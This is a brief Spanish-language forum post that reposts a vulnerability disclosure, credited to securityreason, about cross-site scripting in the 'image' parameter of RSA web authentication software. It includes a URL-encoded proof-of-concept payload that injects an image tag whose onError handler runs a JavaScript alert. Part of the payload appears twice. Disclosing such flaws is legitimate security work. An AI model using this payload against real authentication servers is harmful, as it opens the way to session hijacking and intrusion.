Autor
El software de autentificación RSA intercepta peticiones de acceso --si es local o remota -- de usuarios o de grupos de usuarios y dirige a los mismos al programa de RSA para la autentificación.
Una vez que esté verificado, se conceda el permiso de tener acceso a recursos protegidos.
Detalle:
debido a un error en la validación de la entrada es posible inyectar XSS en el parámetro de la "imagen" -.
Código:
http:⁄⁄[SERVER]⁄webauthentication?GetPic?image=x%3Cimg%20src=
%22A%22+onError=%22javascript:alert('Thanks%20for%20turning
%20on%20the%20remotecontrol')%3b%22%3Exxx
%22A%22+onError=%22javascript:alert('Thanks%20for%20turning
%20on%20the%20remotecontrol')%3b%22%3Exxx
Fuente:securityreason
Salu2
En línea
